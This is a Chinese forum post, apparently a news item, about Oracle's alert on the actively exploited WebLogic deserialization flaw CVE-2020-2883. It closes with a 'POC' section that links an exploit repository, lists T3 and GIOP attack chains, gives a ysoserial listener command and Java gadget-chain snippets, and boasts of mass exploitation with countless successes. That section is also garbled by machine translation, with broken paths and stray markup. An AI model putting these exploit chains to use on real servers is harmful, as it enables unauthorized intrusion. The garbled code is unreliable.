甲骨文:WebLogic危急漏洞被积极野外利用攻击(附POC)

发布者:zx_763821
发布于:2020-05-02 21:25

企业软件巨头甲骨文5月1日晚上发布了紧急安全警报,敦促运行WebLogic服务器的公司安装公司于4月中旬发布的最新补丁。



甲骨文表示,已收到有关利用CVE-2020-2883(其WebLogic企业产品中的漏洞)的尝试攻击的报告。


WebLogic是基于Java的中间件服务器,位于前端应用程序和数据库系统之间,可重新路由用户请求并返回所需的数据。它是一种非常流行的中间件解决方案,目前有成千上万的服务器在线运行。


CVE-2020-2883漏洞是一个危险的漏洞,在CVSSv3漏洞严重性等级中的满分为9.8,满分为10。



该漏洞已秘密报告给Oracle,它使威胁者可以通过其专有的T3协议将恶意有效载荷发送到WebLogic服务器。


当服务器接收数据并以不安全的方式对数据进行解包(反序列化)时,即在基础WebLogic核心上运行恶意代码时,就会发生攻击,从而使黑客能够控制未打补丁的系统。


Oracle表示,无需用户身份验证或交互即可利用此bug。这使CVE-2020-2883成为集成基于Web的自动化攻击工具和僵尸网络操作的理想之选。


Oracle 在4月14日发布的季度安全更新中修复了该错误:

https://www.oracle.com/security-alerts/cpuapr2020.html


Oracle 2020年4月的关键补丁更新(CPU)解决了将近400个漏洞,其中包括CVE-2020-2883,这是Oracle WebLogic Server中的一个关键缺陷,未经身份验证的攻击者可以利用它来远程执行代码。


甲骨文赞扬了一些人独立报告了此漏洞,包括Viettel Cyber Security的Bui Duong,VNPT ISC的Jang,Kaki King,齐安新集团的lufei和VNPT ISC的Quynh Le。


Quynh Le通过趋势科技的零日活动(ZDI)向Oracle报告了他的发现,该活动最近发布了通报,描述了研究人员在2月和3月确定的CVE-2020-2883的两种变体。


T3协议的处理过程中存在特定缺陷。T3协议消息中的虚构数据可以触发不可信数据的反序列化。攻击者可以利用此漏洞在当前进程的上下文中执行代码。


在一天后的GitHub上发布了利用CVE-2020-2883错误的概念验证代码之后,当前的在野利用尝试攻击已经开始。


甲骨文表示,也有针对上个月补丁的其他漏洞的利用尝试,但该公司特别强调了WebLogic漏洞。


这是因为,在最近几年,黑客已经不断示于武器化和利用的WebLogic漏洞。


黑客组织一直在利用这些漏洞劫持WebLogic服务器,以运行加密货币矿工或破坏公司网络并安装勒索软件。


CVE-2020-2883几乎可以肯定会加入CVE-2019-2729,CVE-2019-2725,CVE-2018-2893,CVE-2018-2628和CVE-2017-10271,成为野外利用最多的WebLogic漏洞之一。


Weblogic RCE漏洞利用POC

https://github.com/hktalent/CVE_2020_2546


1,Weblogic RCE漏洞利用

CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3有效载荷利用POC python3


2,利用

GIOP +发送绑定(CVE-2020-2555,CVE-2019-2888,CVE-2019-2888 <XXE + SSRF" data-textnode-index="25" data-index="1505" >>或其他)

GIOP +发送jta(rmi或其他)

GIOP +发送jta + SSRF

T3 +发送jta

T3 +发送jta + SSRF

T3 +发送XXE

T3 +发送XXE + SSRF

2.1,rmi服务器,请参阅

不要使用org.mozilla.classfile.DefiningClassLoader

不要使用java -cp $ mtx /../ tools / ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21'whoami'更多信息:https : //github.com/hktalent/CVE -2020-2551

3,代码

3.1,代码1

MVEL.compileExpressionMvelExtractor o = new MvelExtractor("xxx;");    ObjectOutputStream oo = new ObjectOutputStream(System.out);     oo.writeObject(o);    oo.flush();

3.2,代码2

public MsgOutput getObject(final String command) throws Exception {    String jndiAddress = command;    JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();    jtaTransactionManager.setUserTransactionName(jndiAddress);    MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);    return remote;  }

3.3,代码3

public IORDelegate getObject(final String command) throws Exception {IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);    return ior;  }

3.4,代码4

weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl

4,CVE-2020-2546有效载荷

批量一波,成功无数


5,谢谢

@ r4v3zn @ 0nise



共建网络安全命运共同体



声明:该文观点仅代表作者本人,转载请注明来自看雪